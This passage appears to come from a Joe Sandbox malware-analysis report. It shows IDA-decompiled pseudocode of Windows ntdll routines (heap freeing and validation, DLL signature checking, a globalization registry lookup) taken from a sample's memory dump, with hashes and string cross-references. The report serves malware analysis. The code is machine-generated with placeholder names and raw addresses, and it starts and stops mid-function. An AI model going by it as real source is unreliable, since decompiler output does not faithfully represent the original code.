								_t73 = L34CB5BE0(L"GlobalizationUserSettings", L"TargetNtPath", L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\International", 0,  &_v532, 0x208,  &_v552);
								_t113 = _t73;
								if(_t73 >= 0) {
									_t107 = _v552 + 4;
									_t114 = _v572 + _v552 + 0x00000004 & 0x0000ffff;
									_t112 = E34C95D90(_v552 + 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t114);
									if(_t112 == 0) {
										_t113 = 0xc0000017;
									} else {
										_v548 = _v548 & 0x00000000;
										_v546 = _t114;
										_v544 = _t112;
										_t82 = E34C8FE40(_t107,  &_v548,  &_v532);
										_t113 = _t82;
										if(_t82 >= 0) {
											_t86 = E34C8FE40(_t107,  &_v548, "\\");
											_t113 = _t86;
											if(_t86 >= 0) {
												_t89 = E34CA10D0(_t107,  &_v548,  &_v572);
												_t113 = _t89;
												if(_t89 >= 0) {
													_v596 = 0x18;
													_v588 =  &_v548;
													_v592 = 0;
													_push( &_v596);
													_push(0x20019);
													_v584 = 0x240;
													_push( &_v564);
													_v580 = 0;
													_v576 = 0;
													if( *0x34c5733c() < 0) {
														__eflags = 1;
														_v540 = 1;
														 *_v536 = 1;
													} else {
														 *0x34c57340(_v564);
														 *_v536 = 2;
														_t113 =  *0x34c5733c(_v556, _v560,  &_v596);
													}
												}
											}
										}
										L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t112);
									}
								}
								L34C93B90( &_v572);
							}
						}
						if(_v540 != 0) {
							_t111 = _v556;
							_t113 = E34D5B55F(_v560, _v556);
						}
						goto L25;
					}
				}
				_t113 =  *0x34c57348(0xfffffffa, 1, _t101, "true",  &_v600);
				if(_t113 < 0) {
					goto L25;
				} else {
					_t112 =  *_t101;
					goto L4;
				}
			}

0x34d5b2bc
0x34d5b2ce
0x34d5b2d7
0x34d5b2dd
0x34d5b2e2
0x34d5b2e8
0x34d5b2f8
0x34d5b306
0x34d5b30a
0x34d5b32e
0x34d5b333
0x34d5b335
0x34d5b537
0x34d5b539
0x34d5b547
0x34d5b547
0x34d5b55c
0x34d5b33b
0x34d5b33b
0x34d5b340
0x34d5b35b
0x34d5b360
0x34d5b36a
0x34d5b36a
0x34d5b36d
0x34d5b36f
0x34d5b37f
0x34d5b384
0x34d5b388
0x34d5b38e
0x34d5b3b9
0x34d5b3be
0x34d5b3c2
0x34d5b3d4
0x34d5b3d9
0x34d5b3ed
0x34d5b3f1
0x34d5b50a
0x34d5b3f7
0x34d5b3f7
0x34d5b40b
0x34d5b413
0x34d5b419
0x34d5b41e
0x34d5b422
0x34d5b434
0x34d5b439
0x34d5b43d
0x34d5b451
0x34d5b456
0x34d5b45a
0x34d5b466
0x34d5b470
0x34d5b47e
0x34d5b484
0x34d5b485
0x34d5b490
0x34d5b49a
0x34d5b49b
0x34d5b4a1
0x34d5b4af
0x34d5b4ee
0x34d5b4ef
0x34d5b4f5
0x34d5b4b1
0x34d5b4b7
0x34d5b4c3
0x34d5b4e2
0x34d5b4e2
0x34d5b4af
0x34d5b45a
0x34d5b43d
0x34d5b503
0x34d5b503
0x34d5b3f1
0x34d5b516
0x34d5b516
0x34d5b388
0x34d5b522
0x34d5b524
0x34d5b535
0x34d5b535
0x00000000
0x34d5b522
0x34d5b335
0x34d5b320
0x34d5b324
0x00000000
0x34d5b32a
0x34d5b32a
0x00000000
0x34d5b32a

Strings

GlobalizationUserSettings, xrefs: 34D5B3B4
\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 34D5B3AA
TargetNtPath, xrefs: 34D5B3AF

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: 39581fbff1fd7d16b1917dc9060e3e4bf991138daa488a2b31444452d2b7bb54
Instruction ID: 41ef675d3d27c36c22c03dfc44361397662a0e28e2456713a8d2f8954619de49
Opcode Fuzzy Hash: 39581fbff1fd7d16b1917dc9060e3e4bf991138daa488a2b31444452d2b7bb54
Instruction Fuzzy Hash: A3615D72941629AFEB31DF54DC88BDAB7B9EB04714F4101E9E508AB260CB74DE84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 34C7F75B Relevance: 3.9, Strings: 3, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E34C7F75B(void* __ecx, signed short* __edx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				signed char _t63;
				signed int _t67;
				void* _t71;
				intOrPtr _t72;
				void* _t79;
				signed char* _t82;
				intOrPtr _t83;
				signed char* _t88;
				intOrPtr _t89;
				void* _t90;
				signed char* _t93;
				void* _t126;
				signed int* _t127;

				_t127 = __edx;
				_t126 = __ecx;
				_t58 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t31 =  &(_t127[4]); // 0xddeeddfe
					E34CD8140(_t31, _t58 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t63 =  *(_t126 + 0xcc) ^  *0x34d76d48;
				if(_t63 == 0) {
					_t63 = E34C7F858(_t127,  &_v12,  &_v8);
					if(_t63 != 0) {
						_t71 = E34C7FABA( &_v12,  &_v8, 0x4000);
						_t109 = _t71;
						if(_t71 < 0) {
							_t72 =  *[fs:0x30];
							__eflags =  *(_t72 + 0xc);
							if( *(_t72 + 0xc) == 0) {
								_push("HEAP: ");
								E34C7B910();
							} else {
								E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t126);
							_t63 = E34C7B910("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t109);
						} else {
							_t79 = E34C93C40();
							_t110 = 0x7ffe0380;
							if(_t79 != 0) {
								_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t82 = 0x7ffe0380;
							}
							if( *_t82 != 0) {
								_t83 =  *[fs:0x30];
								__eflags =  *(_t83 + 0x240) & 0x00000001;
								if(( *(_t83 + 0x240) & 0x00000001) != 0) {
									E34D3F13E(_t110, _t126, _v12, _v8, 7);
								}
							}
							 *((intOrPtr*)(_t126 + 0x220)) =  *((intOrPtr*)(_t126 + 0x220)) + 1;
							 *((intOrPtr*)(_t126 + 0x240)) =  *((intOrPtr*)(_t126 + 0x240)) + 1;
							 *((intOrPtr*)(_t126 + 0x244)) =  *((intOrPtr*)(_t126 + 0x244)) + _v8;
							 *((intOrPtr*)(_t126 + 0x230)) =  *((intOrPtr*)(_t126 + 0x230)) + 1;
							if(E34C93C40() != 0) {
								_t88 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t88 = _t110;
							}
							if( *_t88 != 0) {
								_t89 =  *[fs:0x30];
								__eflags =  *(_t89 + 0x240) & 0x00000001;
								if(( *(_t89 + 0x240) & 0x00000001) != 0) {
									__eflags = E34C93C40();
									if(__eflags != 0) {
										_t110 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E34D3F058(_t110, _t126, _v12, __eflags, _v8,  *(_t126 + 0x74) << 3, 0, 0,  *_t110 & 0x000000ff);
								}
							}
							_t90 = E34C93C40();
							_t111 = 0x7ffe038a;
							if(_t90 != 0) {
								_t93 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t93 = 0x7ffe038a;
							}
							if( *_t93 != 0) {
								__eflags = E34C93C40();
								if(__eflags != 0) {
									_t111 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								}
								E34D3F058(_t111, _t126, _v12, __eflags, _v8,  *(_t126 + 0x74) << 3, 0, 0,  *_t111 & 0x000000ff);
							}
							_t63 = _t127[0] & 0x00000013 | 0x00000008;
							_t127[0] = _t63;
						}
					}
				}
				if( *((intOrPtr*)(_t126 + 0x4c)) != 0) {
					_t127[0] = _t127[0] ^ _t127[0] ^  *_t127;
					_t67 =  *(_t126 + 0x50);
					 *_t127 =  *_t127 ^ _t67;
					return _t67;
				}
				return _t63;
			}

0x34c7f765
0x34c7f768
0x34c7f76a
0x34c7f76d
0x34c7f771
0x34c7f779
0x34c7f77c
0x34cde322
0x34cde326
0x34cde32b
0x34cde32b
0x34c7f788
0x34c7f78e
0x34c7f79e
0x34c7f7a5
0x34c7f7b7
0x34c7f7bc
0x34c7f7c0
0x34cde419
0x34cde41f
0x34cde423
0x34cde442
0x34cde447
0x34cde425
0x34cde43a
0x34cde43f
0x34cde44d
0x34cde450
0x34cde453
0x34cde45a
0x34c7f7c6
0x34c7f7c6
0x34c7f7cb
0x34c7f7d2
0x34cde33d
0x34c7f7d8
0x34c7f7d8
0x34c7f7d8
0x34c7f7dd
0x34cde347
0x34cde34d
0x34cde354
0x34cde364
0x34cde364
0x34cde354
0x34c7f7e3
0x34c7f7ec
0x34c7f7f2
0x34c7f7f8
0x34c7f805
0x34cde377
0x34c7f80b
0x34c7f80b
0x34c7f80b
0x34c7f810
0x34cde381
0x34cde387
0x34cde38e
0x34cde399
0x34cde39b
0x34cde3a6
0x34cde3a6
0x34cde3a6
0x34cde3c3
0x34cde3c3
0x34cde38e
0x34c7f816
0x34c7f81b
0x34c7f822
0x34cde3d6
0x34c7f828
0x34c7f828
0x34c7f828
0x34c7f82d
0x34cde3e5
0x34cde3e7
0x34cde3f2
0x34cde3f2
0x34cde3f2
0x34cde40f
0x34cde40f
0x34c7f838
0x34c7f83a
0x34c7f83a
0x34c7f7c0
0x34c7f7a5
0x34c7f841
0x34c7f84b
0x34c7f84e
0x34c7f851
0x00000000
0x34c7f851
0x34c7f857

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 34CDE455
HEAP[%wZ]: , xrefs: 34CDE435
HEAP: , xrefs: 34CDE442

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 6c199ea01275ac60010ab87d590619531407e5d0cb81d5cd90551094e29e75dc
Instruction ID: 8191c738e870e1d53a98562c52de8ea52b26a81b181be722660c6c895437b448
Opcode Fuzzy Hash: 6c199ea01275ac60010ab87d590619531407e5d0cb81d5cd90551094e29e75dc
Instruction Fuzzy Hash: 7151C335704B84EFE712CBA8C984B9ABBFAEF06754F0441A9E654CB652D778E900CB50

Uniqueness

Uniqueness Score: -1.00%

Function 34CA1514 Relevance: 3.9, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E34CA1514(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _t66;
				signed int _t69;
				void* _t73;
				signed int _t75;
				char* _t78;
				intOrPtr _t79;
				signed int _t80;
				char* _t83;
				intOrPtr _t84;
				signed int _t85;
				signed int _t92;
				signed char* _t93;
				signed char _t98;
				intOrPtr _t103;
				signed int _t104;
				void* _t107;
				signed int _t118;
				intOrPtr _t119;
				intOrPtr _t120;

				_t103 = __edx;
				_v8 = __ecx;
				_t118 = 0;
				_t119 =  *((intOrPtr*)(__ecx + 0x20));
				_v16 = __edx;
				_t107 = E34C8DE20(__ecx, __eflags,  *((intOrPtr*)(_t119 + 0x18)), 1, 0xe,  &_v20);
				if(_t107 != 0) {
					_t66 = _v8;
					__eflags =  *(_t66 + 0x10) & 0x00800000;
					if(( *(_t66 + 0x10) & 0x00800000) != 0) {
						L19:
						_t118 = 0xc000007b;
						L6:
						return _t118;
					}
					_t69 =  *(_t119 + 0x34) | 0x00400000;
					 *(_t119 + 0x34) = _t69;
					__eflags =  *(_t107 + 0x10) & 0x00000001;
					if(__eflags == 0) {
						goto L1;
					}
					 *(_t119 + 0x34) = _t69 | 0x01000000;
					_t118 = E34C76DD0( *((intOrPtr*)(_t119 + 0x18)), __eflags);
					__eflags = _t118;
					if(_t118 < 0) {
						goto L6;
					} else {
						goto L1;
					}
					goto L19;
				}
				L1:
				if(( *(_t103 + 0x16) & 0x00002000) == 0) {
					 *(_t119 + 0x34) =  *(_t119 + 0x34) & 0xfffffffb;
					goto L6;
				}
				if(( *( *((intOrPtr*)(_t119 + 0x5c)) + 0x10) & 0x00000080) != 0) {
					__eflags =  *(_t103 + 0x5e) & 0x00000080;
					if(( *(_t103 + 0x5e) & 0x00000080) != 0) {
						goto L3;
					}
					_t98 =  *0x34d737c0; // 0x0
					__eflags = _t98 & 0x00000003;
					if((_t98 & 0x00000003) != 0) {
						_t45 = _t119 + 0x24; // 0x123
						E34CFE692("minkernel\\ntdll\\ldrmap.c", 0x3a2, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t45);
						_t98 =  *0x34d737c0; // 0x0
					}
					__eflags = _t98 & 0x00000010;
					if((_t98 & 0x00000010) != 0) {
						asm("int3");
					}
					_t118 = 0xc0000428;
					goto L6;
				}
				L3:
				if(( *(_t119 + 0x34) & 0x01000000) != 0) {
					goto L6;
				}
				_t73 = _a4 - 0x40000003;
				if(_t73 == 0 || _t73 == 0x33) {
					_v12 =  *((intOrPtr*)(_t119 + 0x18));
					_t75 = E34C93C40();
					__eflags = _t75;
					if(_t75 != 0) {
						_t78 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t78 = 0x7ffe0384;
					}
					__eflags =  *_t78;
					_t104 = 0x7ffe0385;
					if( *_t78 != 0) {
						_t79 =  *[fs:0x30];
						__eflags =  *(_t79 + 0x240) & 0x00000004;
						if(( *(_t79 + 0x240) & 0x00000004) != 0) {
							_t92 = E34C93C40();
							__eflags = _t92;
							if(_t92 == 0) {
								_t93 = 0x7ffe0385;
							} else {
								_t93 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t93 & 0x00000020;
							if(( *_t93 & 0x00000020) != 0) {
								E34D00227(0x1490, _v12, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					__eflags = _a4 - 0x40000003;
					if(_a4 != 0x40000003) {
						L12:
						_t120 =  *((intOrPtr*)(_t119 + 0x18));
						_t80 = E34C93C40();
						__eflags = _t80;
						if(_t80 != 0) {
							_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t83 = 0x7ffe0384;
						}
						__eflags =  *_t83;
						if( *_t83 != 0) {
							_t84 =  *[fs:0x30];
							__eflags =  *(_t84 + 0x240) & 0x00000004;
							if(( *(_t84 + 0x240) & 0x00000004) != 0) {
								_t85 = E34C93C40();
								__eflags = _t85;
								if(_t85 != 0) {
									_t104 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
									__eflags = _t104;
								}
								__eflags =  *_t104 & 0x00000020;
								if(( *_t104 & 0x00000020) != 0) {
									E34D00227(0x1491, _t120, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						goto L6;
					} else {
						_t21 = _t119 + 0x24; // 0x123
						_v12 = _t21;
						_t118 = E34CBD3EF( *((intOrPtr*)(_t119 + 0x18)),  *((intOrPtr*)(_v8 + 0x5c)), _v16, _t21);
						__eflags = _t118;
						if(_t118 < 0) {
							E34CBC98F(_t118, 0x1490, 0, _v12);
							goto L6;
						}
						goto L12;
					}
				} else {
					goto L6;
				}
			}

0x34ca151f
0x34ca1523
0x34ca1526
0x34ca1528
0x34ca1536
0x34ca153e
0x34ca1542
0x34ca15f5
0x34ca15f8
0x34ca15ff
0x34cea34d
0x34cea34d
0x34ca157c
0x34ca1582
0x34ca1582
0x34ca1608
0x34ca160d
0x34ca1610
0x34ca1614
0x00000000
0x00000000
0x34cea35f
0x34cea367
0x34cea369
0x34cea36b
0x00000000
0x34cea371
0x00000000
0x34cea371
0x00000000
0x34cea36b
0x34ca1548
0x34ca1551
0x34cea376
0x00000000
0x34cea376
0x34ca155e
0x34cea37f
0x34cea383
0x00000000
0x00000000
0x34cea389
0x34cea38e
0x34cea390
0x34cea392
0x34cea3ac
0x34cea3b1
0x34cea3b6
0x34cea3b9
0x34cea3bb
0x34cea3bd
0x34cea3bd
0x34cea3be
0x00000000
0x34cea3be
0x34ca1564
0x34ca156b
0x00000000
0x00000000
0x34ca1570
0x34ca1575
0x34ca1588
0x34ca158b
0x34ca1590
0x34ca1592
0x34cea3d1
0x34ca1598
0x34ca1598
0x34ca1598
0x34ca159d
0x34ca15a0
0x34ca15a5
0x34cea3db
0x34cea3e1
0x34cea3e8
0x34cea3ee
0x34cea3f3
0x34cea3f5
0x34cea407
0x34cea3f7
0x34cea400
0x34cea400
0x34cea409
0x34cea40c
0x34cea422
0x34cea422
0x34cea40c
0x34cea3e8
0x34ca15ab
0x34ca15b2
0x34ca15d6
0x34ca15d6
0x34ca15d9
0x34ca15de
0x34ca15e0
0x34cea44b
0x34ca15e6
0x34ca15e6
0x34ca15e6
0x34ca15eb
0x34ca15ee
0x34cea455
0x34cea45b
0x34cea462
0x34cea468
0x34cea46d
0x34cea46f
0x34cea47a
0x34cea47a
0x34cea47a
0x34cea480
0x34cea483
0x34cea498
0x34cea498
0x34cea483
0x34cea462
0x00000000
0x34ca15b4
0x34ca15b7
0x34ca15be
0x34ca15cc
0x34ca15ce
0x34ca15d0
0x34cea438
0x00000000
0x34cea438
0x00000000
0x34ca15d0
0x00000000
0x00000000
0x00000000

Strings

LdrpCompleteMapModule, xrefs: 34CEA39D
Could not validate the crypto signature for DLL %wZ, xrefs: 34CEA396
minkernel\ntdll\ldrmap.c, xrefs: 34CEA3A7

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: c64d9a8de44623f78752c4a949bffd2de67ea51faa115fee3faf68e6ba58ec5a
Instruction ID: bafbcb0a077750164f45ece1cb63f69e1f90eeadb34998577976196e04408944
Opcode Fuzzy Hash: c64d9a8de44623f78752c4a949bffd2de67ea51faa115fee3faf68e6ba58ec5a
Instruction Fuzzy Hash: A651FF78B00B42EFE711CF69C944B2A77EAEF05754F1406A8E852DB6E2DB34E940CB40

Uniqueness

Uniqueness Score: -1.00%

Function 34D2D62C Relevance: 3.9, Strings: 3, Instructions: 163
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E34D2D62C(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				intOrPtr _t42;
				char _t43;
				signed short _t44;
				signed short _t48;
				signed char _t51;
				signed int _t52;
				intOrPtr _t53;
				signed int _t63;
				signed short _t64;
				intOrPtr _t67;
				signed short _t71;
				signed int _t74;
				signed short _t75;
				signed short _t77;
				void* _t81;
				signed int _t82;
				signed int _t83;
				signed char _t92;
				unsigned int _t97;
				unsigned int _t102;
				signed int _t106;
				void* _t108;
				void* _t109;
				unsigned int _t112;

				_t82 = __ecx;
				_push(__ecx);
				_t112 = __edx;
				_t42 =  *((intOrPtr*)(__edx + 7));
				if(_t42 == 1) {
					L49:
					_t43 = 1;
					L50:
					return _t43;
				}
				if(_t42 != 4) {
					if(_t42 >= 0) {
						if( *(__ecx + 0x4c) == 0) {
							_t44 =  *__edx & 0x0000ffff;
						} else {
							_t71 =  *__edx;
							if(( *(__ecx + 0x4c) & _t71) != 0) {
								_t71 = _t71 ^  *(__ecx + 0x50);
							}
							_t44 = _t71 & 0x0000ffff;
						}
					} else {
						_t102 = __edx >> 0x00000003 ^  *__edx ^  *0x34d76964 ^ __ecx;
						if(_t102 == 0) {
							_t74 =  *((intOrPtr*)(__edx - (_t102 >> 0xd)));
						} else {
							_t74 = 0;
						}
						_t44 =  *((intOrPtr*)(_t74 + 0x14));
					}
					_t92 =  *((intOrPtr*)(_t112 + 7));
					_t106 = _t44 & 0xffff;
					if(_t92 != 5) {
						if((_t92 & 0x00000040) == 0) {
							if((_t92 & 0x0000003f) == 0x3f) {
								if(_t92 >= 0) {
									if( *(_t82 + 0x4c) == 0) {
										_t48 =  *_t112 & 0x0000ffff;
									} else {
										_t64 =  *_t112;
										if(( *(_t82 + 0x4c) & _t64) != 0) {
											_t64 = _t64 ^  *(_t82 + 0x50);
										}
										_t48 = _t64 & 0x0000ffff;
									}
								} else {
									_t97 = _t112 >> 0x00000003 ^  *_t112 ^  *0x34d76964 ^ _t82;
									if(_t97 == 0) {
										_t67 =  *((intOrPtr*)(_t112 - (_t97 >> 0xd)));
									} else {
										_t67 = 0;
									}
									_t48 =  *((intOrPtr*)(_t67 + 0x14));
								}
								_t83 =  *(_t112 + (_t48 & 0xffff) * 8 - 4);
							} else {
								_t83 = _t92 & 0x3f;
							}
						} else {
							_t83 =  *(_t112 + 4 + (_t92 & 0x3f) * 8) & 0x0000ffff;
						}
					} else {
						_t83 =  *(_t82 + 0x54) & 0x0000ffff ^  *(_t112 + 4) & 0x0000ffff;
					}
					_t108 = (_t106 << 3) - _t83;
				} else {
					if( *(__ecx + 0x4c) == 0) {
						_t75 =  *__edx & 0x0000ffff;
					} else {
						_t77 =  *__edx;
						if(( *(__ecx + 0x4c) & _t77) != 0) {
							_t77 = _t77 ^  *(__ecx + 0x50);
						}
						_t75 = _t77 & 0x0000ffff;
					}
					_t108 =  *((intOrPtr*)(_t112 - 8)) - (_t75 & 0x0000ffff);
				}
				_t51 =  *((intOrPtr*)(_t112 + 7));
				if(_t51 != 5) {
					if((_t51 & 0x00000040) == 0) {
						_t52 = 0;
						goto L42;
					}
					_t63 = _t51 & 0x3f;
					goto L38;
				} else {
					_t63 =  *(_t112 + 6) & 0x000000ff;
					L38:
					_t52 = _t63 << 3;
					L42:
					_t109 = _t108 + _t52;
					_t35 = _t112 + 8; // -16
					_t81 = _t35 + _t109;
					_t53 = E34CD8050(_t81, 0x34c572b8, "true");
					_v8 = _t53;
					if(_t53 == 8) {
						goto L49;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E34C7B910();
					} else {
						E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t109);
					_push(_v8 + _t81);
					E34C7B910("Heap block at %p modified at %p past requested size of %Ix\n", _t112);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x34d747a1 = 1;
						asm("int3");
						 *0x34d747a1 = 0;
					}
					_t43 = 0;
					goto L50;
				}
			}

0x34d2d62c
0x34d2d631
0x34d2d634
0x34d2d637
0x34d2d63c
0x34d2d7de
0x34d2d7de
0x34d2d7e0
0x34d2d7e4
0x34d2d7e4
0x34d2d644
0x34d2d66d
0x34d2d698
0x34d2d6a9
0x34d2d69a
0x34d2d69a
0x34d2d69f
0x34d2d6a1
0x34d2d6a1
0x34d2d6a4
0x34d2d6a4
0x34d2d66f
0x34d2d67a
0x34d2d67f
0x34d2d68c
0x34d2d681
0x34d2d681
0x34d2d681
0x34d2d68e
0x34d2d68e
0x34d2d6ac
0x34d2d6b2
0x34d2d6b8
0x34d2d6c9
0x34d2d6de
0x34d2d6ea
0x34d2d717
0x34d2d728
0x34d2d719
0x34d2d719
0x34d2d71e
0x34d2d720
0x34d2d720
0x34d2d723
0x34d2d723
0x34d2d6ec
0x34d2d6f9
0x34d2d6fe
0x34d2d70b
0x34d2d700
0x34d2d700
0x34d2d700
0x34d2d70d
0x34d2d70d
0x34d2d731
0x34d2d6e0
0x34d2d6e3
0x34d2d6e3
0x34d2d6cb
0x34d2d6d1
0x34d2d6d1
0x34d2d6ba
0x34d2d6c2
0x34d2d6c2
0x34d2d738
0x34d2d646
0x34d2d64a
0x34d2d65b
0x34d2d64c
0x34d2d64c
0x34d2d651
0x34d2d653
0x34d2d653
0x34d2d656
0x34d2d656
0x34d2d664
0x34d2d664
0x34d2d73a
0x34d2d73f
0x34d2d74c
0x34d2d756
0x00000000
0x34d2d756
0x34d2d751
0x00000000
0x34d2d741
0x34d2d741
0x34d2d745
0x34d2d745
0x34d2d758
0x34d2d75a
0x34d2d75c
0x34d2d764
0x34d2d767
0x34d2d76c
0x34d2d772
0x00000000
0x00000000
0x34d2d77f
0x34d2d79f
0x34d2d7a4
0x34d2d781
0x34d2d797
0x34d2d79c
0x34d2d7ad
0x34d2d7b0
0x34d2d7b7
0x34d2d7c9
0x34d2d7cb
0x34d2d7d2
0x34d2d7d3
0x34d2d7d3
0x34d2d7da
0x00000000
0x34d2d7da

Strings

Heap block at %p modified at %p past requested size of %Ix, xrefs: 34D2D7B2
HEAP[%wZ]: , xrefs: 34D2D792
HEAP: , xrefs: 34D2D79F

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: 634283631864d4af5bf645eefd1ce4a38012261c082c6240d4c6cb68efbb010c
Instruction ID: fccdfa60034977dfbe5da662c087edfc916805bd2b64bd01cc9cc9ad8dc18119
Opcode Fuzzy Hash: 634283631864d4af5bf645eefd1ce4a38012261c082c6240d4c6cb68efbb010c
Instruction Fuzzy Hash: 7C5123792003548FF350CE29C84477277E6EF4528DF50888EE4DA8B68DE63AD947DB60

Uniqueness

Uniqueness Score: -1.00%

Function 34C7753F Relevance: 3.9, Strings: 3, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E34C7753F(signed int __ecx, signed int __edx, intOrPtr _a4) {
				unsigned int _v12;
				signed char _t46;
				signed char _t50;
				intOrPtr* _t52;
				unsigned int _t53;
				signed char _t54;
				signed int _t57;
				signed int _t60;
				intOrPtr _t64;
				intOrPtr* _t66;
				signed int _t67;
				unsigned int _t78;
				signed int _t80;

				_t60 = __edx;
				_t80 = __ecx;
				if(__edx == 0 || (__edx & 0x00000007) != 0) {
					L37:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E34C7B910();
					} else {
						E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t60 + 8);
					_push(_t80);
					E34C7B910("Invalid address specified to %s( %p, %p )\n", _a4);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x34d747a1 = 1;
						asm("int3");
						 *0x34d747a1 = 0;
					}
					return 0;
				} else {
					_t46 =  *((intOrPtr*)(__edx + 7));
					if((_t46 & 0x0000003f) == 0) {
						goto L37;
					}
					if(_t46 < 0) {
						if( *((char*)(__ecx + 0xea)) != 2) {
							_t64 = 0;
						} else {
							_t64 =  *((intOrPtr*)(__ecx + 0xe4));
						}
						if(_t64 != 0) {
							if(_t46 != 4) {
								L23:
								return 1;
							}
						}
						goto L37;
					}
					if( *((intOrPtr*)(__ecx + 0x4c)) == 0) {
						L6:
						if( *((char*)(_t60 + 7)) == 4) {
							if((_t60 & 0x00000fff) != 0x18) {
								goto L37;
							}
							L13:
							if( *(_t80 + 0x4c) == 0) {
								_t50 =  *((intOrPtr*)(_t60 + 2));
							} else {
								_t53 =  *_t60;
								if(( *(_t80 + 0x4c) & _t53) != 0) {
									_t53 = _t53 ^  *(_t80 + 0x50);
								}
								_t50 = _t53 >> 0x10;
							}
							if((_t50 & 0x00000004) != 0) {
								if(E34D2D62C(_t80, _t60) != 0) {
									goto L18;
								}
							} else {
								L18:
								if( *((char*)(_t60 + 7)) == 4) {
									goto L23;
								}
								_t66 = _t80 + 0xa4;
								_t52 =  *_t66;
								while(_t52 != _t66) {
